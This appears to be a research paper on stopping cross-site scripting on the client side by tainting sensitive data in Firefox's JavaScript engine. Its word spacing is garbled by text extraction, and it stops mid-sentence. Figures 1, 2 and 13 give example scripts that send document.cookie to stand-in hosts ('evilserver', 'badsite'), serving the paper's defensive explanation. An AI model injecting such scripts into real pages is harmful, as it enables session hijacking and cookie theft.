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Abstract

Cross site scripting (XSS) is a common securit y problem of w eb applications where an

attac k er can inject scripting co de in to the output of the application that is then sen t to a

user's w eb bro wser. In the bro wser, this scripting co de is executed and used to transfer

sensitiv e data to a third part y . T o da ys solutions attempt to prev en t XSS on the serv er side,

for example, b y insp ecting and mo difying the data sen t to and from the w eb application. The

presen ted solution, on the other hand, stops XSS attac ks on the clien t side b y trac king the use

of sensitiv e information in the Ja v aScript engine of the w eb bro wser. If sensitiv e information

is ab out to b e transfered to a third part y , the user can decide if this should b e allo w ed or not.

As a result, the user has an additional protection la y er when sur�ng w ebsites without solely

dep ending on the securit y of the w eb application.

1 In tro duction

T o da y , man y w ebsites use dynamic elemen ts in the con ten t pro duced for their visitors. These

dynamic elemen ts are �lled b y w eb applications on the serv er, using information from databases

and user input. The resulting output is then sen t to the users. A cross site scripting (XSS) attac k

is the result of a vulnerabilit y of a w eb application where an attac k er can inject scripting co de

in to the output of generated w eb pages. When a user accesses the vulnerable w eb application, the

injected co de is included as part of the normal w eb page con ten t. The w eb bro wser (e.g., Mozilla

Firefo x [15 ]) displa ys this con ten t and executes the included malicious scripting co de. As a result,

this program can access sensitiv e data stored in the user's w eb bro wser (e.g., a co okie that can

b e accessed with document.cookie ) and transfer it to a third part y (i.e., a w ebsite that is under

the attac k er's con trol). Then, the attac k er can use the gathered information to imp ersonate the

victim or hijac k the session. When malicious co de is run in the con text of a do cumen t of the

vulnerable w ebsite, the same origin p olicy [14 ] (whic h w ould not allo w that a script loaded in a

do cumen t from the attac k er domain can access data in a do cumen t loaded from another domain)

is circum v en ted.

There are t w o general metho ds to inject malicious co de in to the w eb page that is displa y ed to

the user. The �rst metho d, called �Stored XSS�, stores the malicious co de in a resource managed

b y the w eb application. Later, the victim requests a dynamic page that uses the resource that

con tains the co de. Consider a w eb based bulletin b oard system (e.g., phpBB [26 ]) where p eople

can en ter messages that are then displa y ed to an y one in terested to read them. Let us assume

further that the application do es not remo v e script con ten t from messages that are p osted. In this

case, the attac k er can craft a message similar to the one in Figure 1. This message con tains the

malicious Ja v aScript co de, whic h is stored b y the b oard in its database. A visiting user that reads

this message retriev es the scripting co de as part of the message. This script is then executed and

can send the co okie of the user to a serv er under con trol of the attac k er.

The second metho d, called �Re�ected XSS�, uses the w eb application to send the co de bac k as

part of a user request, whic h already con tains the co de. An example for this class of XSS attac ks

are emails that are sen t to users where the malicious co de is part of a link in the emails. The
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Look at this picture! <img src=�image.jpg�>

<script>

document.images [0 ].s rc = "http://evilserv er /im ag e.j pg " +

"?stolencookie= " + document.cookie ;

</script>

Figure 1: T ransfer of a co okie

victim is tric k ed in to clic king on the link to visit the vulnerable w eb application. As a result, the

cross site scripting part of the link is sen t bac k (re�ected) to user in the displa y ed w eb page.

The follo wing main issues in a w eb application can lead to cross site scripting vulnerabilities:

� Input to the w eb application is not �ltered for malicious scripting co de.

� Output is not correctly �ltered, or escap ed, when it is sen t to the user's w eb bro wser.

The optimal approac h to prev en t XSS attac ks is to close the resp onsible securit y holes in the

w eb application. T o this end, the w eb application m ust prop erly v alidate all input, in particular,

remo v e malicious scripts. Chec king the w eb application for prop er input v alidation can b e done

using static or dynamic tec hniques. A tec hnique to statically analyse an application to ensure

that all input is prop erly v alidated is presen ted in [22 ]. Here, the authors presen t a system that

analyses ASP source co de for a path in a con trol �o w graph that connect the input sources to the

output sources (i.e., input is used in the output of the page). In [2, 25 ], dynamic solutions based

on information �o w and tain ting are presen ted. These systems mark (or tain t) user input when it

en ters the application and trac k its usage b y the program. Whenev er tain ted data is sen t bac k to

the user due to a program error, the system system terminates the op eration. Dynamic tec hniques

often use �lters to strip malicious scripting co de (e.g., remo v e all h tml-tags lik e <script> ) from

user input [6, 20 ] or b y escaping and �ltering output b efore sending it to the w eb bro wser (e.g., all

' < ' c haracters are turned in to ' &lt; ') [7, 20 ]. The in trusion detection system in [21 ] allo ws serv er

side detection of XSS attac ks b y monitoring the tra�c exc hanged b et w een the w eb application

and the user b y alerting on anomalous request parameters.

Serv er side prev en tion has the dra wbac k that users ha v e to trust the w eb site op erators to

c hec k their applications for attac k v ectors and to remo v e vulnerabilities b y installing the latest

securit y up dates. Unfortunately , man y w eb applications are installed once and later not up dated

on a regular basis. Th us, the danger of visiting w ebsites that can con tain malicious co de remains.

On the clien t side, there are few er solutions. A pro xy based solution presen ted in [19 ], monitors

the tra�c exc hanged b et w een the w eb bro wser to the w ebsites. The requests and resp onses are

analysed for sp ecial c haracters (e.g., " < " that marks the b eginning of an HTML tag) to detect

vulnerable w eb applications. Apart from this, as prop osed in [6], users can often only either turn

o� scripting or b e careful ab out the sites they visit.

The solution prop osed in this pap er uses dynamic data tain ting. In con trast to traditional,

tain ting based approac hes on the serv er side, w e tain t sensitiv e information on the clien t. The

goal is to ensure that a Ja v aScript program can only send sensitiv e information bac k to the site

where it w as loaded from. Th us, the information �o w of sensitiv e data is trac k ed b y the Ja v aScript

engine of the bro wser, and attempts to rela y suc h information to a third part y are prev en ted. F or

this solution, all sensitiv e information is initially mark ed (i.e., tain ted) and then trac k ed while it

is pro cessed. Similar to the solutions presen ted in [2 , 25 ], data dep endencies are handled. That

is, tain ting information is trac k ed through op erations and assignmen ts to temp orary v ariables. In

addition, our solution can also handle con trol dep endencies. In this case, the result of op erations

are tain ted when their outcome dep ends on the v alue of a tain ted v ariable (e.g., tain ted data is

used in con trol structures (e.g., if-else , switch ) and lo ops (e.g., for , while )). This is imp ortan t

to prev en t an attac k er from leaking sensitiv e data b y manipulating certain v ariables without

in tro ducing direct data dep endencies. Figure 2 pro vides an example to illustrate the imp ortance
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1: var cookie = document.cookie; // cookie tainted

2: var dut = "";

3: // copy cookie content to dut

4: for (i = 0; i < cookie.length; i++) {

5: switch (cookie[i]) {

6: case 'a': dut += 'a';break;

7: case 'b': dut += 'b';break;

8:

9: }

10: }

11: // dut is now copy of cookie

12: document.images [0] .s rc = "http://badsite/ coo ki e?" + dut;

Figure 2: Con trol dep endency

of con trol dep endencies. In this example, the attac k er copies the co okie from the v ariable cookie

to the v ariable dut with a for-lo op and a switc h statemen t for an y c haracter in cookie . With

just data dep endency , the dut v ariable w ould not b e tain ted after the lo op b ecause the c haracter

literals assigned to it in the switc h statemen t are not tain ted. When con trol dep endencies are

considered, ho w ev er, ev erything in the scop e of the switc h statemen t is tain ted as a tain ted v alue

is tested in the head of the switc h statemen t. In addition to the trac king of tain t information

in the Ja v aScript engine, tain ted data stored in and retriev ed from the do cumen t ob ject mo del

(DOM [11 ]) tree of the HTML ([9, 10 ]) page remains tain ted to prev en t laundering attempts. The

solution is implemen ted on the clien t side as a part of the w eb bro wser's Ja v aScript engine that

allo ws protection of the sur�ng user without dep ending on the XSS securit y of visited w ebsites.

2 Related w ork

The problem of HTML tag injection in to dynamic w eb pages is describ ed in [6]. If the injected

tag is a <script> tag that con tains scripting co de (e.g., Ja v aScript as standardised in [18 ]) it

is called cross site scripting (XSS) [8 , 20 ]. Man y pap ers describ e ho w w eb applications on the

serv er side can b e protected from XSS attac ks. These solutions either require initiativ e from the

dev elop ers while designing and implemen ting their w eb applications or an additional c hec k in the

testing phase.

In [7], it is explained ho w to �lter malicious tags from un trusted input in a w eb application

(and that setting the do cumen t c haracter enco ding [9 ] for generated w eb pages helps to recognise

sp ecial c haracters for �ltering). A sp ecial c haracter suc h as " < ", whic h marks the b eginning of an

HTML tag, has a represen tation in ASCI I and m ulti-b yte represen tations in other sc hemes (e.g.,

UTF-7). W eb bro wsers are allo w ed to treat the m ulti-b yte represen tation similar to the ASCI I

c haracter if no do cumen t c haracter enco ding is set (according to [9]). The advisory suggests that

an y sp ecial c haracter in the output should b e enco ded either as a HTML reference en tit y (e.g., " ä "

as " &auml; ") or as a n umerical en try v alue of the c haracter in the sp eci�ed do cumen t c haracter

enco ding (e.g., " ä " as " &#228 ;" in ISO 8859-1 (Latin 1)).

Protection from XSS attac ks can b e ac hiev ed b y mo difying the in terpreter that executes a w eb

application. In [2 ], it is describ ed ho w tain ting in the P erl in terpreter can b e used to prev en t

usage of un trusted input to in teract with the en vironmen t. T ain ting means that input (e.g.,

data obtained from command line argumen ts, �le con ten t, or input v ariables) is mark ed as b eing

un trusted, and it remains in this state as long as it is pro cessed b y the in terpreter. The attempt

to use tain ted data directly or indirectly in an y command that in v ok es a sub-shell or mo di�es

�les, directories, or pro cesses will b e prev en ted with an error. Explicit c hec king has to b e enabled

b y the dev elop er, or it is automatically enabled when the program runs with di�ering real and

e�ectiv e user or group IDs. The dev elop er can test the status of data for its tain ted status. In
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addition, he can also sanitise the data to b ecome un tain ted status b y using this data as a hash

k ey or b y extracting information in regular expressions.

The authors of [25] in tegrate their solution directly in to the PHP in terpreter. This allo ws to

run existing w eb applications under protection from XSS attac ks, without the need to mo dify

them. The solution protects from SQL injection and cross site scripting b y tain ting input data or

parts of input data that is stored in strings. The input can b e session v ariables, database results,

and external v ariables (i.e., hidden form v ariables, co okies and HTTP header information). The

information is trac k ed through functions and assignmen ts. If a securit y critical function is called,

a c hec k is p erformed to determine whether argumen ts are tain ted. If this is the case, the call is

prev en ted.

Other solutions can b e used after the application is deplo y ed, without mo difying the soft w are

[21 , 22 ]. The system in [21 ] analyses the log �les of the w eb serv er to detect attac ks while the w eb

application is running. The solution consists of a training and a detection phase. In the learning

phase, scores are calculated b y a mo del that is based on the query strings that are sen t to the

w eb application. The mo del and the scores get adapted to the w eb application. In the detection

phase, the score for eac h query string is calculated using the trained mo dels. Exceeding a certain

threshold is a hin t for an attac k. In [22 ], the authors prop ose to use a static analysis of the w eb

application to �nd vulnerabilities. A w eb application do es not ha v e to b e vulnerable to attac ks if

only single w eb pages are p oten tially vulnerable. F or example, a w eb application stores user input

in a database that is later displa y ed on user request. While the w eb page that stores the user input

without �ltering it ma y b e p oten tially vulnerable according to statical tests, the application as a

whole is not vulnerable, b ecause the data from the database included in the output is prop erly

enco ded. Therefore, they p erform additional dynamic tests for actual vulnerabilities on the w eb

application parts that use the w eb pages that failed the static tests.

Solutions on the serv er side ha v e the dra wbac k of only protecting the w eb application and the

visiting users.

In [19 ], the authors implemen ted a pro xy that can b e used to protect a user while sur�ng on

the In ternet. T o this end, the pro xy analyses the HTTP requests and resp onses b et w een the w eb

bro wser and the w eb serv ers. It has t w o mo des: the resp onse c hange mo de and the request c hange

mo de. The resp onse c hange mo de scans the requests of the w eb bro wser for HTML sp ecial tags

(e.g., the " < " tag). If the resp onse from the w eb application con tains sequences that include the

tags from the request, the w ebsite is considered to b e vulnerable to XSS. As a result, the tags in

the resp onse are enco ded b efore forw arded to the user to protect him. In the request c hange mo de,

random n um b ers for eac h request parameter are generated. All HTML sp ecial tags in a request

parameter are extended with the generated n um b er (i.e., it acts as an iden ti�er). F or example, for

the parameter " <s>test</s> " the n um b er 234 is generated as iden ti�er. The request is mo di�ed

and b ecomes " <234s>234test<2 34 /s> 23 4 " . This mo di�ed request is sen t to the w eb application,

and the resp onse is scanned for the o ccurrence of the mo di�ed tags (i.e., for " <234 " and " >234 ").

If the resp onse con tains the mo di�ed tags, it is vulnerable to XSS. The system can ev en tell whic h

parameter is vulnerable, b ecause the iden tit y is di�eren t for eac h parameter. This mo de doubles

the tra�c b ecause it �rst has to test the application with the mo di�ed tags and then it gets the

w eb page the user requested with the unmo di�ed request. An additional dra wbac k is that only

re�ected XSS attac ks can b e detected.

[17 ] uses an auditing system in the Mozilla Firefo x w eb bro wser that can p erform b oth anomaly

or misuse detection. This system monitors the execution of Ja v aScript and compares it to high

lev el p olicies to detect malicious b eha viour. F or eac h scenario, sp eci�c rules ha v e to b e de�ned

to enable detection. These rules allo w to sp ecify sequences of Ja v aScript metho ds, together with

their corresp onding, that are considered malicious, parameters. With this information, state driv en

rules can b e implemen ted. The system p erforms most of the auditing in XPConnect, whic h is the

la y er that connects the Ja v aScript engine with the other comp onen ts of Mozilla Firefo x. Some

additional auditing features are implemen ted in DOMClassInfo (in terface �attening and b eha viour

implemen ting), Liv eConnect (comm unication b et w een Ja v aScript, Ja v a applets and other plug-ins)

and the Securit y Manager.
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Ob ject T ain ted prop erties

Do cumen t co okie, domain, forms*, lastMo di�ed, links*,

referrer, title, URL

F orm action

An y form input elemen t c hec k ed, defaultChec k ed, defaultV alue, name,

selectedIndex, toString, v alue

History curren t**, next**, previous**, toString

Select option defaultSelected, selected, text, v alue

Lo cation and Link hash, host, hostname, href, pathname, p ort,

proto col, searc h, toString

Windo w defaultStatus, status

* not implemen ted

** �history� is sp ecial as access is prev en ted b y the Securit y Manager with �p ermission denied�.

T able 1: Initial tain ted sources

3 Dynamic data tain ting

In a cross site scripting attac k, the co de that is inserted in to the output of the w eb application is

under con trol of the attac k er. This co de is executed in the user's w eb bro wser, where it t ypically

collects sensitiv e information, pro cesses it (e.g., concatenate it in to a string), and then sends it

to a site where the attac k er can collect the information. Because the co de runs in the con text

of the vulnerable w ebsite, it is not distinguishable from normal application b eha viour. T o trac k

sensitiv e information, the concept of �dynamic data tain ting� (as describ ed in [2, 25 ]) is used.

�T ain ting� denotes that data that con tains sensitiv e information is initially mark ed. Ev ery result

of an op eration that pro cesses tain ted data is tain ted as w ell. When tain ted data is ab out to b e

transferred to a remote lo cation, di�eren t kinds of action can b e tak en. Examples are logging,

prev en ting the transfer, or stopping the program with an error. �Dynamic� denotes the fact that

the information �o w is trac k ed while the program is executed. That is, when an op eration is

executed, it is decided for this op eration and its op erators whether it is necessary to tain t the

result or not.

The next subsections discuss the data �o w in a t ypical script execution. W e will �rst sho w

what kind of information is considered sensitiv e and th us, is tain ted in Subsection 3.1. Then,

Subsection 3.2 presen ts ho w tain ted data is trac k ed during execution.

3.1 Initial tain ting

F or our tain ting approac h, w e ha v e to de�ne certain data sources that are considered sensitiv e and

th us, are alw a ys tain ted. T able 1 is tak en from [24 ] and sho ws whic h elemen ts in a w eb bro wser

can con tain sensitiv e information and therefore, should initially b e tain ted. Our system tain ts

these elemen ts in the do cumen t ob ject mo del (DOM [11 ]). Most of the elemen ts in the DOM tree

ha v e corresp onding elemen ts in the HTML ([9, 10 ]) page (e.g., document.title ) but there are

also a few additional items (suc h as document.cookie ).

Please note that document.forms and document.links are not initially tain ted. The reason

for not tain ting them is, that they are only con tainers for sp eci�c forms or links. Of course,

sensitiv e parts of forms or links are already co v ered b y more sp eci�c prop erties (suc h as input

elemen ts). Note that the history.current , history.next and history.previou s URLs can

not b e accessed b ecause the Securit y Manager denies suc h attempts. Our implemen tation tain ts

the data nev ertheless in case the Securit y Manager w ould allo w access.

Figure 3 sho ws the in teraction b et w een the Ja v aScript engine and the bro wser comp onen t when

a script is executed. More precisely , it illustrates the information from when the document.cookie

is accessed and sho ws where and when initial tain ting is p erformed. Assume that the HTML page

con tains a script (1) that accesses the co okie of the do cumen t (whic h is sensitiv e). The script is
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Figure 3: Initially tain ting data

parsed and compiled to a Ja v aScript program (2), whic h is then executed b y the Ja v aScript engine.

When the engine executes the statemen t that attempts to obtain the cookie prop ert y from the

document (3), it generates a call to the implemen tation of the do cumen t class in the bro wser (4).

P ossible parameters of the call are con v erted from v alues understo o d b y the Ja v aScript engine

t yp es to those de�ned in the bro wser (5). Then, the corresp onding metho d in the bro wser, whic h

implemen ts the document.cookie metho d, is called (6). In this metho d, the initial tain ting o ccurs

(7). The returned v alue is con v erted in to a v alue with a t yp e used b y the Ja v aScript engine (8).

This con v ersion has to prop erly tak e in to accoun t the tain t status of the v alue. The result of the

op eration that obtains the cookie prop ert y (i.e., v ariable x) is no w tain ted (9).

3.2 T rac king tain ted data

Ja v aScript programs that are part of a w eb page are parsed and compiled in to an in ternal b yte

co de represen tation. These b yte co de instructions are then in terpreted b y the Ja v aScript engine.

The instructions can b e divided in to the follo wing broad classes of op erations:

� assignmen ts

� arithmetic and logic op erations ( + , - , & , etc.)

� con trol structures and lo ops ( if , while , switch , for in )

� function calls, classes and eval

When an instruction is executed, parts (or all) of its op erands could b e tain ted. Th us, for eac h

instruction, there has to b e a rule that de�nes under whic h circumstances the result of an op eration

has to b e tain ted (or what other kind of information is a�ected b y the tain ted data).
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1: var a = document.cookie; // variable assignment

2: function b(c) {

3: var d = document.cookie ; // function variable assignment

4: c = document.cookie; // function argument assignment

5: }

6: var obj = { };

7: obj.x = document.cookie; // object property assignment

8: var arr = [ ]; // arr.length = 0

9: if (document.cooki e[ 0] == 'a') {

10: arr[0] = 1; // array element assignment

11: }

12: if (arr.length == 1) { y = 'a'; }

Figure 4: Assignmen ts

1: var a = "a" + document.cookie; // concat operation

2: var c = 15 & document.cookie .le ng th ; // bitwise and

3: var d = document.cookie[ 0] ; ++d; // unary +

4: var e = 16 <= document.cookie.l en gt h; // relational less-than-or-equ al

Figure 5: Op erations

3.2.1 Assignmen ts

In an assignmen t op eration, the v alue of the left-hand side is set. If the righ t-hand side of the

assignmen t is tain ted, then the target on the left-hand side is also tain ted. The Ja v aScript engine

has di�eren t instructions for assignmen t to single v ariables, function v ariables, function argumen ts,

arra y elemen ts, and ob ject prop erties. Some t ypical assignmen ts can b e seen in Figure 4.

In some cases, not only the v ariable that is assigned a tain ted v alue m ust b e tain ted. F or

example, if an elemen t of an arra y is tain ted, then the whole arra y ob ject needs to b e tain ted as

w ell. This is necessary to ensure that the result of arr.length returns a tain ted v alue. Consider

the example from Line 8-12 in Figure 4. In Line 8 a new arra y is created with an initial length

of 0. A v alue is assigned to the �rst elemen t in Line 10, only if the �rst c haracter of the co okie

is an ' a '. No w, the length of the arra y in Line 12 is 1 if the �rst c haracter of the co okie is an ' a ',

otherwise it is still 0. In Line 12, a new v ariable is set to ' a ', dep ending on the length of the arra y .

When extending this metho d to co v er all p ossible c haracters (e.g., ' a ' - ' z ', ' A ' - ' Z ', ' 0 ' - ' 9 ') , the

attac k er could try to cop y the �rst c haracter of the co okie to a new v alue, thereb y attempting

to b ypass the tain ting sc heme. Ho w ev er, b ecause in Line 10, w e not only tain t the �rst elemen t

but also the arra y ob ject itself, the v ariable y in Line 12 is tain ted. Lik ewise, if a prop ert y of an

ob ject is set to a tain ted v alue, then the whole ob ject needs to b e tain ted. The reason is that the

prop ert y could b e new, and in this case, the n um b er of prop erties c hanged. This could allo w an

attac k er to leak information.

3.2.2 Arithmetic and logic op erations

Op erations lik e the ones in Figure 5 can ha v e one (e.g., unary +) or more op erators (e.g., m ultipli-

cation * ). Ja v aScript, similar to Ja v a b yte-co de, is a stac k based language. That is, instructions

that p erform arithmetic or logic op erations �rst p op the appropriate n um b er of op erands from the

stac k and then push bac k the result. The result is tain ted if one of the used op erands is tain ted.
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1: if (document.cooki e == "a") {

2: var x = 5;

3: }

Figure 6: T ain ted scop e co v ering an if -statemen t

00000: 2 defvar "x"

main:

00003: 1 name "document"

00006: 1 getprop "cookie"

00009: 1 string "a"

00012: 1 eq

00013: 1 ifeq 26 (13)

00016: 2 bindname "x"

00019: 2 uint16 5

00022: 2 setname "x"

00025: 2 pop

Figure 7: Op co des for example in Figure 6

3.2.3 Con trol structures and lo ops

Con trol structures and lo ops are used to manipulate the execution �o w of a program and to rep eat

certain sequences of instructions. There are follo wing con trol structures and lo ops:

� if blo c ks (with and without else -branc h)

� switch statemen ts

� with statemen ts

� Iteration statemen ts ( do-while , while , for and for-in )

� try-catch-final ly blo c ks

If the condition of a con trol structure tests a tain ted v alue, a �scop e� is generated that co v ers the

whole con trol structure. The results of all op erations and assignmen ts in the scop e are tain ted.

This is used to implemen t con trol dep endencies that prev en t attempts of laundering tain ted v al-

ues b y cop ying them to un tain ted v alues as illustrated in Figure 2. Because a tain ted v alue

( cookie.length ) is used in the termination condition of the for -lo op in Line 4, a scop e from

Line 4 to Line 10 is generated. An additional scop e is generated from Line 5 to Line 9 b ecause the

switch -condition is tain ted. When pro cessing op erations within a tain ted scop e, all results are

tain ted, regardless of the tain t status of an y in v olv ed op erands. As a result, app ending a c haracter

to the dut v ariable (e.g., in Line 6) tain ts the dut v ariable. Note that this w ould not b e the case

if only data dep endencies w ere considered.

T o de�ne a scop e co v ering the if -statemen t, the b oundaries ha v e to b e kno wn. Consider the

example in Figure 6. An if -statemen t with a tain ted condition (i.e., document.cookie == "a" in

Line 1) is used to assign the v ariable x an in teger v alue of 5 in Line 2. This Ja v aScript fragmen t

is compiled in to a b yte-co de represen tation with the op co des seen in Figure 7. The �rst column

in the �gure con tains the program coun ter (p c) v alue of the op co de, the second line corresp onds

to the line in Figure 6 and the rest of the line con tains the op co de and optional information (e.g.,

a used v ariable). The op co de ifeq at p c=00013 tests the v alue on the stac k (i.e., the condition of

the if -statemen t) and jumps to p c=00026 if it is false to con tin ue with the next statemen t after

the if -statemen t. The op co des from p c=00016 to p c=00025 are the b o dy of the if -statemen t.

Therefore, the start of the scop e is p c=00013 (i.e., the p c of the curren t op co de) and the length
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1: if (tainted) { // scope to Line 5

2: x = 1;

3: } else {

4: x = 2;

5: }

6: while (tainted) { // scope to Line 9

7: tainted = false;

8: x += 2; // x is tainted

9: }

10: for (i = 0; i < tainted; i++) { // scope for every iteration to Line 12

11: y = y + "a";

12: }

13: for (x in tainted) { // scope to Line 15

14: ++props;

15: }

16: switch (tainted) { // scope to Line 21

17: case 1: res = 1; break;

18: case tainted: res = 2; // scope to Line 21 (perhaps no break)

19: break;

20: default: res = 3;

21: }

Figure 8: Con trol structures

1: var x = function (a) { return a+1; }; // anonymous function object is assigned

2: x(1);

3: function b(a) { return a+1; }; // named function object "b"

4: b(1);

5: function A() { this.x = 1; }; // defines an object "A"

6: var y = new A(); // instantiate new object

Figure 9: F unctions

can b e determined with help of information in the op co de parameters (i.e., length=13 and next

op co de at p c=00026). When the if -statemen t has an additional else -branc h, a goto -op co de can

b e found at p c=00026 that con tains the length of the else -branc h.

Other con trol �o w statemen ts are handled similarly . If the ob ject used b y the with statemen t

is tain ted, a tain ted scop e to the end of the blo c k is generated. If-else -statemen ts generate

scop es for b oth branc hes when the condition is tain ted. The while , for and for-in lo ops are

treated similar to the if and the with statemen t. In do-while lo ops, the scop e is not generated

un til the tain ted condition is tested. As a result, the �rst time the blo c k is executed, no scop e

is generated. If the tested condition is tain ted, a new tain ted scop e co v ering the rep eated blo c k

is generated that remains un til the lo op is left. In the try-catch-finall y statemen t, a scop e is

generated for the catch -blo c k when the thro wn exception ob ject is tain ted.

Some examples for con trol structures can b e seen in Figure 8.

3.2.4 F unction calls and eval

F unctions in Ja v aScript come in di�eren t �a v ours: as anon ymous function ob jects, named function

ob jects, or as de�nitions for new classes (see Figure 9).

F unctions are tain ted if they are de�ned in a tain ted scop e (created from Line 1 to Line 3

b ecause of tain ted condition in Line 1) as seen in Line 2 in Figure 10. Ev erything done in or
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1: if (document.cooki e[ 0] == 'a') {

2: x = function () { return 'a'; }; // tainted function

3: }

4: function func (par) { return par; }

5: y = func(document.co oki e[ 0] ); // tainted parameter

6: function count() { return arguments.lengt h - 1; };

7: x = count(0, document.cookie[0 ]) ;

8: y = "dut = count(1";

9: for (i = 0; i < mycookie.charCod eA t(0 ); i++) { y += ",0"; }; y += ");";

10: eval(y); // y = "var dut = count(1,0,0,...,0 );"

Figure 10: F unction argumen ts

1: var x = "the cookie is: ";

2: // document.cookie = "session123"

3: eval("x += '" + document.cookie + "';"); // the parameter is tainted

4: // evaluates: x += 'session123';

5: alert(x); // now x is tainted

Figure 11: Use of " eval "

returned b y a tain ted function (suc h as function x in Figure 10) is tain ted. When called with

tain ted argumen ts, corresp onding parameters in the function are tain ted (as seen in Line 4 and

Line 5 in Figure 10). In Line 5, the function func is called with a tain ted parameter, whic h results

in a tain ted argumen t in Line 4. This tain ted argumen t is returned and, b ecause of this, the result

of func in Line 5 is tain ted as w ell. Line 6 and Line 7 in Figure 10 sho w that arguments.lengt h

is tain ted if one of the argumen ts is tain ted. The second parameter in Line 7 is tain ted, and

therefore, the returned v alue in Line 6 is tain ted, whic h results in a tain ted v ariable x in Line 7.

A more elab orate example is sho wn in Line 8 to Line 10 in Figure 10. In Line 8 and Line 9,

a string is assem bled that assigns the return v alue of function count (returns one less than the

n um b er of argumen ts and is de�ned in Line 6) to the v ariable dut . The �rst argumen t of the call

is un tain ted, while the other argumen ts are tain ted b ecause a tain ted scop e around the lo op is

created (explained in Subsection 3.2.3). The commen t in Line 10 sho ws this fact in detail: the

underlined argumen ts are the ones that are added b y the tain ted lo op and therefore, are tain ted.

The ev aluation of this string results in a tain ted v ariable dut that is equal to the v alue of the

c haracter co de of the �rst co okie c haracter.

The eval function is sp ecial b ecause its argumen t is treated as a Ja v aScript program and

executed. If eval is called in a tain ted scop e or its parameter is tain ted, a scop e around the

executed program is generated (see Figure 11), and ev ery op eration in the ev aluated string is

tain ted.

3.2.5 DOM tree

An attac k er could attempt to remo v e the tain t status of a data elemen t b y temp orarily storing it

in a no de of the DOM tree and later retrieving it (see Figure 12). T o prev en t laundering of data

1: document.getElem ent By Id( "t es tta g" ). inn er HT ML = document.cookie;

2: var dut = document.getElem en tBy Id (" tes tt ag "). in ner HT ML ;

3: // dut is tainted

Figure 12: DOM tree example
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through the DOM tree, tain t information m ust b e returned outside the Ja v aScript engine (inside

the bro wser) as w ell. T o this end, the ob ject that implemen ts a DOM no de is tain ted whenev er a

Ja v aScript program stores a tain ted v alue in this no de. When it is accessed at a later time, the

returned v alue is tain ted.

4 Data transmission

Dynamic tain ting as describ ed in Section 3.2 just trac ks the status of data elemen ts while pro cessing

them in the Ja v aScript engine. No steps are tak en to prev en t the leak age of sensitiv e information.

F or example, the execution of Ja v aScript statemen ts is not prev en ted in case of tain ted v ariables,

nor is an y data or part of it remo v ed during the pro cessing. F or a cross site scripting attac k to

b e successful, the gathered data needs to b e transferred to a site that is under the con trol of the

attac k er. That is, the tain ted data has to b e transferred to a third part y . This transfer can b e

ac hiev ed using a v ariet y of metho ds. Some examples include:

� Changing the lo cation of the curren t w eb page b y setting document.locatio n .

� Changing the source of an image in the w eb page

� Automatically submitting a form in the w eb page

� Using sp ecial ob jects lik e the XMLHttpRequest ob ject

T o successfully prev en t a cross site scripting attac k, w e prev en t the transfer of tain ted data with

the help of an y of these metho ds (or, more precisely , ask the user whether this transfer should b e

allo w ed).

5 Implemen tation

Our protot yp e implemen tation extends the Mozilla Firefo x 1.0pre [15 ] w eb bro wser.

Initially tain ted v alues are the ones listed in T able 1. There are t w o di�eren t parts in the w eb

bro wser that can con tain tain ted data ob jects. One part is the Ja v aScript engine, whic h is called

SpiderMonk ey [13 ]. Here, v ariables, functions, scop es, and ob jects can b e tain ted, as a result of

sensitiv e data that is pro cessed b y Ja v aScript programs. The other part is the implemen tation of

the DOM tree (e.g., location.href ). W e needed to mo dify data structures in b oth parts to store

the additional tain ting information.

In the Ja v aScript engine, a jsval is used to store data. A jsval is a 32-bit v alue that enco des

t yp e information of the data ob ject that it represen ts. In addition, it either holds the v alue of

the data ob ject directly or a reference to a complex structure con taining the actual v alue. F or

primitiv e t yp es (suc h as in t, b o olean, n ull, and v oid), the 32-bits hold b oth t yp e information and

the v alue. In this case, the least signi�can t bit(s) store the t yp e, while the higher-order bits hold

the v alue. F or example, for an in teger, the least signi�can t bit is set to 1 to de�ne the t yp e as

in teger while the other 31 bits con tain the v alue.

T o store tain t information, w e can easily extend the complex structures with a tain t �ag.

Unfortunately , the primitiv e t yp es do not allo w to store additional information directly , b ecause

there is no space in jsval . T o solv e this problem, w e con v ert a primitiv e v alue that has to b e

tain ted in to a tain ted double, whic h holds the con v erted v alue and the tain ted �ag. T o b e able to

determine the original t yp e and v alue of a con v erted primitiv e v alue, w e store the original t yp e in

the complex structure when w e con v ert the primitiv e to a complex t yp e.

T o store tain ted v alues in the DOM implemen tation, w e again ha v e to distinguish b et w een

complex and primitiv e t yp es. W e extended the string classes in the bro wser part to con tain the

tain ted �ag. The strings automatically transfer the tain ting information when concatenated or

parts of the string result in a new string. If a Ja v aScript program accesses the bro wser metho ds,
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<!-- a search form -->

<form action="http://g oo dse rv er /pr oc es sse ar ch " name="searchfor m" >

<input type="text" name="searchtex t" >

</form>

<!-- malicious script to transfer cookie-->

<script>

document.search fo rm. ac tio n = "http://evilserve r/ fak es ea rch " +

"?stolencookie= " + document.cookie ;

document.search fo rm. su bmi t( );

</script>

Figure 13: Data transfer with a form

tain ted Ja v aScript strings are con v erted in to corresp onding tain ted string classes in the bro wser

and vice v ersa.

Similar to the primitiv e t yp es in the Ja v aScript engine, the in tegers or b o oleans in the bro wser

part cannot hold additional tain t information. Changing the t yp es used b y the DOM implemen ta-

tion w ould ha v e resulted in c hanging the in terface and rewriting large parts of the implemen tation.

T o a v oid this, w e tain t the DOM no de if a tain ted v alue is stored. If a v alue is retriev ed from a

tain ted no de, the corresp onding Ja v aScript v alue is tain ted as w ell. This step w ould render tain t-

ing of the bro wser string classes obsolete. Ho w ev er, w e w an t to k eep the adv an tage ha ving tain t

information propagate automatically . When tain ted strings are pro cessed (and, e.g., copied) in

the w eb bro wser. Unfortunately , the DOM no des of initially tain ted sources that return primitiv e

t yp es (suc h as in tegers or b o oleans) are not tain ted b y default. T o solv e the problem, w e �rst

iden ti�ed whic h initially tain ted sources return primitiv e t yp es and whic h metho ds in the bro wser

part get called to retriev e them. Then, w e ensured that Ja v aScript return v alues get tain ted if

one of these metho ds gets called. F or example, a Ja v aScript program reads the selectedIndex

prop ert y of an input elemen t, whic h is one of the initially tain ted sources that returns a primitiv e

t yp e (i.e., an in teger). The v alue of the prop ert y is determined b y the return v alue of the bro wser

metho d getSelectedIndex . Before this bro wser metho d is called, a c hec k is p erformed whether

this metho d is one of the metho ds that access an initially tain ted source that returns a primitiv e

v alue. This is true for getSelectedIndex , th us, the result of the metho d call is con v erted in to a

tain ted Ja v aScript v alue.

When a Ja v aScript program attempts to transfer sensitiv e data, a c hec k is p erformed whether

